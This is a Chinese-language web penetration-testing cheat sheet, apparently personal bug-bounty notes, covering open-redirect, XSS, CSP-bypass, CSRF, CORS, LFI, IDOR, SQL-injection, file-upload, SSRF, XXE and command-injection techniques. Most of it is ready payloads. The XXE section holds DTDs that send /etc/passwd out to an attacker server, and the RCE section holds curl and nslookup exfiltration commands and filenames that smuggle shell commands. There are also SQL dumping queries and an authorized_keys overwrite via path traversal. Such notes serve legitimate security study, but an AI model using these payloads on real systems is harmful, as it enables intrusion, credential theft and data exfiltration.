Regex

正则表达式在绕过中的作用

1
2
3
4
^表示匹配的字符串必须以后面的字符串开头
$表示匹配截止
.表示任意字符
/是保留字段,如果需要匹配要加上转义符

比如校验的域名合法性逻辑是^app.product.com$,如果传入的域名是appxproduct.com就能通过校验

比如逻辑是(http|https):\/\/([a-z0-9]{1,}).product.com,如果传入的域名是https://app.product.com.hacker.com就能通过校验

比如逻辑是(http|https):\/\/([a-z0-9]{1,}).product.com$,如果传入的域名是https://hacker.com/?x=https://app.product.com就能通过校验

比如逻辑是^(http|https):\/\/([a-z0-9]{1,}).product.com$,如果传入的域名是https://appxproduct.com就能通过校验

比如逻辑是^app.prod.product.com$,如果传入的域名是app@prodxproduct.com就能通过校验,@符号会被服务器当成传送数据,也就是把app当成username这种数据传到prodxproduct.com

Open Redirect

结合上面的,如果 http://target.com/login/?nextPage=https://google.com 是允许的,而 http://target.com/login/?nextPage=https://hacker.com 是不被允许的,

1
2
3
http://target.com/login/?nextPage=https://hacker.com/?google.com
http://target.com/login/?nextPage=https://www.google.com@hacker.com
http://target.com/login/?nextPage=https://google.com/x//hacker.com(两个/)

有的时候oauth也可以重定向,比如有个链接是https://target.com/redirect?url=https://hacker.com,可以和另一个oauth的重定向结合https://auth.target.com/auth?client_id=1&redirect_url=https://target.com/redirect?url=https://hacker.com&response=token

有些时候重定向可以导致XSS,比如 ?nextPage=https://google.com 的参数在页面上包裹在<a>标签的href属性里,那么就可以闭合标签之后用onclick=alert(1)来触发xss

XSS

要看参数传递,GET传参或者POST传参,只要是用户输入在前端有反馈的都看一下

不要上来就copy payload,先试一下正常的改变页面的输入比如 ?name=</p><h1><u>test123

如果页面的字体改了,说明是可控的,再试payload

有时候不一定需要script标签,比如<input value="test123" onmouseover="alert(1);//" ,//是为了把后面的单引号注释掉,浏览器会在最后自动添加单引号,这样避免多余的字符

一定要理解插入的输入到底在什么标签里,比如<textarea>标签,就会把任何标签内的内容当成纯文本,<textarea>test123<img/src=x onerror=alert(1)></textarea> 就不会执行里面的event handler的onerror

如果返回包里的content-type是text/html,那么也可以改输入,如果是json就不行,有的程序会明明返回的数据是json,但是content-type是text/html,返回的数据会被当成html解析,这种常见于API接口

Stored XSS

Bind XSS

闭合前面的textarea或者前面的script标签是个好习惯

比如

1
2
</textarea></script>"/><script>alert()</script>
"/> 是为了闭合如果前面有<input>标签的

某些情况下,比如我们在客户页面插入了xss,但是客户页面可能不触发,但是管理员页面访问这个客户的信息,会触发

这就需要用到一个xss hunter

有的时候user-agent也可以触发xss

绕过限制

要理解过滤器到底过滤了什么,替换了或者改了什么标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<u>test123 先看是否存在html注入

test123<script>alert(1)</script> 如果不触发,先考虑是不是过滤了特定的标签,换img之类的

script<script>alert(1)</script> 看纯字符串的script是否被过滤

script<SCripT>alert(1)</script> 看大小写是否被过滤

script<SCripT>alert(1)</script><SCripT>alert(1)</script> 看后端的正则过滤是否只匹配了第一个script标签内的内容

<u/onmouseover=alert();//>test123 纯event handler是否被过滤

<img/src=x onerror=alert(1);//> 如果返回的里面有<img/src=x 但是没有onerror,可能过滤器把所有的event handlers都给禁了
这个时候应该考虑还有没有别的不需要event handler的方法来执行js代码
<iframe/src=javascript:alert(1);//>
<a/href=javascript:alert(1)>click_but

某些时候,过滤代码会只过滤闭合的html标签,这个时候就可以尝试把payload不闭合
<img/src=x onerror=alert(1);//
<img/src=x onerror=alert(1);

如果输入<script>alert(1)</script>只剩alert(1),有时候可以内嵌一个script标签
<scr<script>ipt>alert(1)</scr<script>ipt>

CSP

开发者明确告诉客户端(制定比较严格的策略和规则),哪些外部资源是可以加载和执行的 ,即使攻击者发现漏洞,但是它是没办法注入脚本的

通过 HTTP 头信息的Content-Security-Policy的字段或者通过网页的<meta>标签进行启用

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

CSP指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
default-src, “self” “cdn.guangzhul.com”, 默认加载策略
script-src, “self” “js.guangzhul.com” ,对javascript的加载策略
style-src, “self” “css.guangzhul.com” ,对样式的加载策略
img-src, “self” “img.guangzhul.com” ,对图片的加载策略
content-src ,“self” ,对ajax,websocket请求的加载策略。不允许的情况下浏览器会模拟一个状态为400的相应
font-src ,“font.cdn.guangzhul.com” ,针对webFont的加载策略
object-src, “self” ,指针或标签引入flash等插件的加载策略
media-src, media.cdn.guangzhul.com ,针对媒体引入的HTML多媒体的加载策略
frame-src ,“self” ,针对frame的加载策略
report-uri, /report-uri ,告诉浏览器如果请求的资源不被策略允许时,往哪个地址提交日志信息。 特别的:如果想让浏览器只汇报日志,不阻止任何内容,可以改用 Content-Security-Policy-Report-Only 头
sandbox 设置沙盒环境
child-src 主要防御 frame,iframe
form-action 主要防御 form
frame-ancestors 主要防御 frame,iframe,object,embed,applet
plugin-types 主要防御 object,embed,applet

CSP指令值

1
2
3
4
5
6
7
“none” 不允许任何内容
“self” 允许来自相同的来源的内容(相同的协议,域名和端口)
“unsafe-inline” 允许加载inline的资源 例如常见的 style 属性,onclick,inline js 和 inline css 等等
"<scheme>" 允许加载特定协议的资源 比如https://
"<host-source>" 允许从特定的主机或者域加载资源
"data": 允许data协议(如base64编码的图片)
"blod" 允许Blob URI的使用

如果header的信息设置如下

1
Content-Security-Policy: script-src 'self' https://app.hackinghub.io data:

允许data协议,payload

1
2
<object data="data:text/html,<script>alert(1)</script>"></object> (Failed) 因为object需要object-src来控制,所以失败
<script src=data:text/javascript,alert(1)></script> (Success)

绕过CSP

很多公司依赖从第三方获取数据

如果header的信息设置如下

1
Content-Security-Policy: script-src 'self' https://app.hackinghub.io https://www.google.com https://www.youtube.com

JSONP

json with padding,是一种服务器或者网站去从不同的域接收json数据的方式,通常通过script标签,需要遵守同源策略,当发出 jsonp 请求时,会在该 url 的查询参数中包含一个回调函数,并且服务器会在回调函数中包装 json 数据,然后再将其运行回客户端。这允许客户端无限制地检索和使用 json 数据,简而言之,json可以让客户端在不违反同源策略的情况下加载别的地方的数据

比如针对上面的header CSP

youtube就有jsonp的接口

1
https://youtube.com/oembed?callback=

正常的使用实际上是

1
https://youtube.com/oembed?url=https://www.youtube.com/watch?v=8DnphDtFt3Y

会返回视频的详细信息(json格式),作者等等信息

但是如果传入callback参数的话

1
https://youtube.com/oembed?url=https://www.youtube.com/watch?v=8DnphDtFt3Y&callback=test()

客户端在引用该url的时候就会执行callback里面的函数

1
<script/src=https://youtube.com/oembed?url=https://www.youtube.com/watch?v=8DnphDtFt3Y&callback=alert(1)></script>

可以Google csp bypass,会找到很多大网站的callback接口

又是oauth也可以起到一样的作用

1
https://accounts.google.com/o/oauth2/revoke?callback=alert(1)

或者可以找到上传文件的方式,把文件上传到CSP允许的域内

CSRF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
NO CSRF token:
GET https://shop.com/buy.php?wallet=something&amount=888&type=BTC

Exp:
Image tag
<img/src="https://shop.com/buy.php?wallet=something&amount=888&type=BTC">
hyper link
<a/href="https://shop.com/buy.php?wallet=something&amount=888&type=BTC">clickme</a>

Reuseable/guessable CSRF token:
POST https://shop.com/buy.php?wallet=something&amount=100&type=BTC&xsrf_token=e3VzZXJfaWQ9NDR9

Exp:
<form action="https://shop.com/buy.php" method="POST">
<input type="hidden" name="wallet" value="something">
<input type="hidden" name="amount" value="100">
<input type="hidden" name="type" value="BTC">
<input type="hidden" name="xsrf_token" value="e3VzZXJfaWQ9NDR9">
<input type="submit" value="Click me to win!"/></form>
e3VzZXJfaWQ9NDR9={user_id=44} base64 encode

有时候CSRF token可以重用,可以删掉

看到CSRF token,首先先看看是不是可以解码,然后把user1的token拿去给user2用,看是否能用,或者直接删掉值,或者直接删掉整个属性和值

有些类型的XSS可以和CSRF结合起来

CORS

Cross-origin resources sharing,解决的是网页加载跨域资源的问题,用户无感知,浏览器后台加载

比如一个加载资源的请求访问了GET的/me路径,返回json数据

1
2
3
4
5
6
7
8
9
...
Access-Control-Allow-Origin:https://cors.nahamsec.training
Access-Control-Allow-Credentials:true
...
{
"username":"john",
"email":"xxxx@gmail.com",
"token":"xxxxxx"
}

一般测试就是在请求包加上Origin header信息比如指定为test.com,如果返回包里的Access-Control-Allow-Origin字段数据有test.com,就证明任意的域都可以向该域发送请求,并且Access-Control-Allow-Credentials要是true,意味着浏览器可以携带cookie进行跨域请求

如果请求的header的Origin header是test.com,返回的Access-Control-Allow-Originhttps://cors.nahamsec.training ,就需要进行绕过,可以尝试

1
2
3
https://nahamsec.training
https://test.nahamsec.training
https://test.nahamsec.training.test.com

POST Message

浏览器的窗口之间、标签页或者frame之间通过JavaScript进行数据传递,POST Message解决的就是这种数据传递之间不同源的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html>
<head>
<script>
let btn = function(){
msg = {
'msg' : 'Hello IFRAME'
}
document.getElementById('frame').contentWindow.postMessage(msg,'*');
}
</script>
</head>
<body>
<iframe src="https://pm.nahamseclab.com/target" id="frame"></iframe>
<button onclick="btn()">RUN</button>
</body>
</html>

frame的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<script>
window.addEventListener("message",function(event){
if (event.data.hasOwnProperty('msg')) {
alert(event.data.msg);
}
});
</script>
</head>
<body>
IFRAME PAGE
</body>
</html>

点击button之后。iframe会接收传入的参数msg,然后alert出来

如果post过去的数据可控,那么完全可能触发xss

LFI

如果GET的参数是?file=user,后端返回user.csv,这个时候需要截断,截断有时候用的?%00或者其他的,也就是?file=/etc/passwd?%00

绕过../的过滤: .././ = ../ ,....// = ../

IDOR

Insecure Direct Object References,经常发生在应用程序提供了基于用户输入的对象的直接访问

https://example.com/api/usr/222/address,这里的222是可变的,返回每个用户的信息

不仅限于查询信息,还可以修改信息等,比如访问了https://example.com/api/user/profile,POST的数据里有user的信息,可以改

要理解程序怎么查询的数据、怎么修改或者删除的数据,然后创建两个user去测试

有的时候程序会使用UUID去作为userid,UUID不好预测,大概长这样xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx,但是有的地方可能会泄露用户的UUID,比如访问用户的信息页面,用户的头像之类的地址可能会泄露UUID,重点是找到和其他用户交互的地方,不仅限于找图片地址

1
<img src="/assets/profile_picture/xxxxxxxx-xxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxxxxx/user.jpg"

当然有的是POST传参

有时候如果查询的接口里没有携带一些参数比如email之类的,这个接口有可能也能作为修改信息使用,可以手动加上这些参数测试,具体加什么参数可以依据返回数据包的参数

有时候如果GET /api/user/1 返回没有权限的话,可以测一下 GET /api/user/1/ 或者 GET /api/user/1/../1 ,也可以改请求方式POST、PUT、DELETE

SQLi

1
2
3
4
5
select id,firstname from customers where firstname like 'b%'; 查以b开头的firstname的信息
select * from customers ORDER BY id ASC; 以id的增序查询,降序 DESC
select * from customers LIMIT 1; 只返回一条数据,并且就返回查到的第一个
select * from customers LIMIT 1,1; 只返回一条数据,并且跳过查到的的第一条数据
select email from customers UNION select email from suppilers; 查两个表的所有数据,表的列必须属性一致
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
select * from articles where id='1'
select * from articles where id='1' and 1=1;--' 能查到
select * from articles where id='1' and 1=2;--' 查不到

select * from articles where id='0' UNION SELECT 1,2,3,4;--' 看能否查到,这是查列数的,如果返回4,那么第四列有回显且数据表是4列
select * from articles where id='0' UNION SELECT 1,2,3,database();--' 查当前数据库名

select * from articles where id='0' UNION SELECT 1,2,3,SCHEMA_NAME from information_schema.SCHEMATA;--' 查所有数据库名,但是由于数据库很多只能返回查到的第一个,如果想挨个查需要用到LIMIT或者GROUP_CONCAT
select * from articles where id='0' UNION SELECT 1,2,3,SCHEMA_NAME from information_schema.SCHEMATA LIMIT 1,1;--'
GROUP_CONCAT会把所有结果拼接到一条里
select * from articles where id='0' UNION SELECT 1,2,3,GROUP_CONCAT(SCHEMA_NAME) from information_schema.SCHEMATA LIMIT 1,1;--'

查指定数据库的表
select * from articles where id='0' UNION SELECT 1,2,3,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='xxx';--'
查指定数据库指定数据表的列名
select * from articles where id='0' UNION SELECT 1,2,3,GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='xxx' and TABLE_NAME='yyy';--'

bool 类型注入(只返回True或者False)

1
2
3
4
5
6
7
8
9
10
测数据库名的第一个字母是不是a
select * from articles where id='0' and 1=(select 1 from information_schema.SCHEMATA where SCHEMATA_NAME like 'a%');--'
测数据库名第二个字母是不是b,(前提是测出了第一个字母是a)
select * from articles where id='0' and 1=(select 1 from information_schema.SCHEMATA where SCHEMATA_NAME like 'ab%');--'
测表名
select * from articles where id='0' and 1=(select 1 from information_schema.TABLES where TABLE_NAME like 'c%' and TABLE_SCHEMA='users');--'

爆数据
select * from articles where id='0' and 1=(select 1 from users where username like 'a%' LIMIT 1);--'
select * from articles where id='0' and 1=(select 1 from users where username = 'adam' and password like 'd%' LIMIT 1);--'

Blind SQL Injection,啥都不返回

1
2
3
4
5
select * from newsletter where email='' or 1=SLEEP(3);-- 会延迟3秒返回执行结果
select * from newsletter where email=''' or 1=SLEEP(3);-- 因为语句错误,所有不会延迟3秒

按照上面的说法,可以爆数据库名
select * from newsletter where email='' or 1=(SELECT SLEEP(3) FROM information_schema.SCHEMATA where SCHEMA_NAME like 'a%' LIMIT 1);--

Error Based INSERT SQL Injections,返回报错,并且能返回数据

1
2
3
4
5
6
insert into comments (data,title,comment) values ('1724062543','title','aaa')
insert into comments (data,title,comment) values ('1724062543','title'','aaa')报错,near 'aaa')' at line 1
insert into comments (data,title,comment) values ('1724062543','title',(SELECT GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.tables));--','')
insert into comments (data,title,comment) values ('1724062543','title',(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables where TABLE_SCHEMA='sqli_test'));--','')
insert into comments (data,title,comment) values ('1724062543','title',(SELECT GROUP_CONCAT(COLUMN_NAME) FROM information_schema.columns where TABLE_SCHEMA='sqli_test' and TABLE_NAME='users'));--','')
insert into comments (data,title,comment) values ('1724062543','title',(SELECT GROUP_CONCAT(concat(id,':',username,':',password),'') FROM sqli_test.users));--','')

Blind INSERT SQL Injections,啥都不返回

1
2
3
4
insert into comments (data,title,comment,email) values ('1724062543','title','aaa','test@ttt.com')

insert into comments (data,title,comment) values ('1724062543','',sleep(5),'');--','','') 探测是否存在漏洞
insert into comments (data,title,comment) values ('1724062543','',( SELECT sleep(5) where version() like '1%'),'');--','','')

File Upload

上传正常的图片,删掉content-type或者把content-type改成text/html,访问该文件,有时候文件可能会被当成html展示给前端,然后抓包改文件内容为xss

文件名的话,如果空格不行,编码成%20

filename可以改成xss,><img src=x onerror=alert(1)>.jpg ,同样可以把文件名改成 test<u>.jpg 看看是否生效,把xss的文件分享给别人可能触发(有时候自己这边不触发)

或者filename可以改成index.html,内容写上<script>alert(1)</script>

或者可以上传公钥,filename="../../../../../../../../../../../../../.ssh/authorized_keys" ,如果可以覆盖别的文件的话,也可以,不一定得是ssh私钥,知道路径就行

上传一个正常文件,然后访问这个文件的路径,看看有没有文件目录的泄露

Content-Type Used for XSS

github.com/BlackFan/content-type-research/blob/master/xss.md

有个前提,需要X-Content-Type-Options等于nosniff ,被服务器用来提示客户端一定要遵循在 Content-Type 首部中对MIME 类型的设定,而不能对其进行修改,当服务器发送响应时,它会包含一个Content-Type头部来告诉浏览器所发送数据的类型。然而,一些攻击者可能会利用浏览器自动检测并更改MIME类型的机制来实施攻击。X-Content-Type-Options头部通过设置为’nosniff’选项,可以防止浏览器自动检测MIME类型。当这个头部被正确设置时,浏览器将无法更改服务器所提供的MIME类型,从而增加了网站的安全性。

用于阻止浏览器解析与Content-Type声明不一致的内容。

互联网上的资源有各种类型,通常浏览器会根据响应头的Content-Type字段来分辨它们的类型。例如:”text/html”代表html文档,”image/png”是PNG图片,”text/css”是CSS样式文档。然而,有些资源的Content-Type是错的或者未定义。这时,某些浏览器会启用MIME-sniffing来猜测该资源的类型,解析内容并执行。

例如,我们即使给一个html文档指定Content-Type为”text/plain”,在IE8-中这个文档依然会被当做html来解析。利用浏览器的这个特性,攻击者甚至可以让原本应该解析为图片的请求被解析为JavaScript。通过下面这个响应头可以禁用浏览器的类型猜测行为:

其实上面的不那么重要,就按照GitHub上的改头部信息然后改文件内容为xss去测就行了

有的情况下,比如我们发包,发出去的content-type是text/html,内容也是xss的payload,上传也成功了,访问图片之后查看源码也没问题,但是访问这个图片,浏览器会把图片当成图片格式解析而不是js,这个时候看响应包就会发现响应包的content-type被设置成了image/jpeg,也就是服务器强制让文件作为图片格式去解析,这个时候可以把content-type改成image/svg+xml,

SSRF

过滤及绕过思路

1
2
3
4
白名单,只允许参数里访问一些特定的域名(解决:找Open redirect或者参考Open redirect的绕过)
黑名单,不允许访问内部的IP、域名或者关键词(注册域名或者子域名,创建CNAME并且把CNAME指向内网IP)
受限的content-type、扩展名或者字符,只允许访问特定的文件类型(fuzz)
无回显,看不到响应包的数据(Javascript XHR 来接收文件内容)

关于SSRF需要记住的几个点

1
2
3
4
攻击者正在访问的是由目标主机展示出来的相应结果
访问目标主机上的内容不一定只有localhost或者127.0.0.1
Open redirect很重要
app.interactsh.com
1
2
3
4
5
6
通过app.interactsh.com来测试是否对外部链接发起请求
发起对http://127.0.0.1的本地访问,看是否有回显
伪协议 file:///etc/passwd,ftp:// smtp:// telnet://
别的代表127.0.0.0的 http://127.1 http://localhost.nahamsec.dev(指向127.0.0.1) 或者访问nip.io里面有各种域名(可能被block)
白名单绕过的话,先判断过滤是只要包含指定白名单域名的字符串就行,还是得以白名单域名结尾,如果是前者,可以尝试nip.io里的域名和白名单的域名结合,比如http://hackinghub.io.127.0.0.1.nip.io,如果是后者,找Open redirect
盲猜一个内网IP,如果网页一直转,哪怕不回显,说明能访问到,一般先盲测一个http://10.0.0.1/favicon.ico或者http://10.0.0.1:8080/favicon.ico

SSRF的关键就是找服务端在哪可以发起对外的请求

1
2
3
4
5
6
7
8
以下测试于有PDF加载的页面
HTML注入的话,可以注入img src或者iframe src这种,看有没有对外部发起请求
或者<script>window.location = "http://localhost";</script>
<script> document.write(document.location) </script>,document.location是定位当前程序的上下文的,如果可以执行并且返回的是http/s,就不能执行file:///,如果返回的是file://xxx,就可以执行file:///(下面的payload)
<script>window.location = "file:///etc/passwd";</script>
或者可以把上面的代码放到自己的站点,然后加载
<iframe/src=https://mywebsite.com/locationwhere.html>
如果在app.interactsh.com发现了User-agent的话,比如Prince 10这种,可以搜Prince 10 ssrf,有利用的poc,结合xml文件去达到ssrf的效果

Blind SSRF

首先让服务器访问https://mywebsite/test.html 内容如下

1
<script>window.location="https://app.interactsh.com上的地址"</script>

然后看是否发起访问,目的是确定服务器可以执行js代码,然后再用GET发包把读到的内容给传出来,这里的mywebsite只能是https不能是http

XXE

xml external entity,XXE是基于XML输入的攻击,也就是输入被拼接到xml里解析了,可以达到文件读取或者SSRF

有些请求里可以明显看出是xml,content-type可以是xml,POST的数据内容也可以是xml

demo.xml

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"file:///etc/passwd">
]>
<foo>
&xxe;
</foo>

如果服务端是无回显的那种,就需要把解析结果发到自己的服务器上

1
2
3
4
5
6
7
8
9
<!DOCTYPE foo[<!ENTITY % xxe SYSTEM
"http://poc.myserver.com/evil.dtd"> %xxe;]>
(对应下面的第一个)

or
<!DOCTYPE foo[<!ENTITY % xxe SYSTEM "http://poc.myserver.com/evil.dtd">%xxe;%parnal;]>
...
<name>&exfil;</name>
(对应下面的第二个)

evil.dtd

1
2
3
4
5
6
7
8
9
10
<!ENTITY % xxePOC SYSTEM "file:///etc/passwd">
<!ENTITY % exfildata "<!ENTITY exfil SYSTEM
'http://poc.myserver.com/?x=%xxePOC;'>">
%exfildata;
%exfil;


or
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % parnal "<!ENTITY exfil SYSTEM 'http://poc.myserver.com/?x=%data;'>">

如果是xml文件上传,一定要搞清楚服务端解析的是xml里的哪个标签,要把上面demo里的foo标签给改了

有的API允许用户修改请求数据包的content-type,也就是说,明明正常发送的是application/json,可以改成application/xml格式去发送,如果返回包的content-type也是application/xml就说明可以改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
json
{
"search":"test"
}

xml
<root>
<search>
test
</search>
</root>

payload
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE payload [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>
&xxe;
</search>
</root>

有的SSRF可以结合xml一起用(这种只针对部分版本的浏览器有效)

1
2
3
4
5
6
7
8
9
10
11
12
让服务端访问
https://mywebsite.com/xxe.html
<iframe src=./xxe-payload.xml>%

xxe-payload.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE payload [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>
&xxe;
</search>
</root>

有的服务端不一定只把.xml文件当成xml解析,别的类型的文件也可以,文件中有xml格式都可以试一下,甚至是压缩包zip、docx文件

因为unzip demo.docx的时候,可以看到一堆xml文件,可以修改里面的 [Content_Types].xml 文件

加上

1
<!DOCTYPE r [ <!ELEMENT r ANY> <!ENTITY % sp SYSTEM "http://poc.myserver.com/dtd.xml"> %sp;%parnal; ]> <r>&exfil;</r>

dtd.xml

1
2
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % parnal "<!ENTITY exfil SYSTEM 'http://poc.myserver.com/?x=%data;'>">

RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
分隔符
; & && | ||

inline RCE
有个ping的输入
如果 输入 $(echo '127.0.0.1') 就会ping 127.0.0.1,但是如果 $(id) 不行,因为id的结果不是ping能识别的
可以 `curl xxx.com` 然后看是否收到请求,curl的结果会作为ping的参数
就可以结合用 `curl xxx.com/$(id)`

Blind RCE
$(curl xxx.com) 看是否收到请求
curl -X POST -d $(id) xxx.com
curl -X POST -d $(base64 -i /etc/hosts) xxx.com
or Using DNS
首先要知道curl subdomain.xxx.com 的时候,是会对subdomain.xxx.com发起DNS查询请求的,有时候没装curl可以用nslookup
所以 nslookup $(id).xxx.com 或者试下ping

绕过防火墙禁止curl和nslookup
测试是否存在RCE: sleep 5 看响应包是否延时
是由判断来做,类似于延时注入
if [ $(hostname | cut -c 1-1 ) = "0" ]; then sleep 10; fi
if [ $(whoami | cut -c 1 ) = "n" ]; then sleep 10; fi
if [ $(whoami | cut -c 2 ) = "n" ]; then sleep 10; fi
if [ $(whoami | cut -c 3 ) = "n" ]; then sleep 10; fi

文件上传直接导致RCE
比如把pdf命名成 `curl xxx.com`.pdf
关键在于要理解服务端到底在接收上传的文件的时候做了什么操作,例如后端执行了mv filename rename.pdf,就导致了RCE
同样的如果是可以上传压缩包,也需要理解后端到底对压缩包进行了什么操作,解没解压?移没移动文件?
一个tip就是在压缩包里新建很多个不同类型的文件,比如pdf、文件夹等等
把pdf的名字命名成 $(curl -X POST -d `id` pdf-xxx.com).pdf
把文件夹的名字命名成 $(curl -X POST -d `id` folder-xxx.com)
在Files子文件夹里也同样添加各种类型的文件
把所有的打包成压缩包,看到底是哪个文件或者文件夹触发了RCE

抓包一定记得url编码再改数据包

virtual hosts

扫虚拟主机的时候记得切换一下协议,然后尝试访问localhost

1
2
curl https://xxx.com/ -H "Host: localhost"
curl http://xxx.com/ -H "Host: localhost"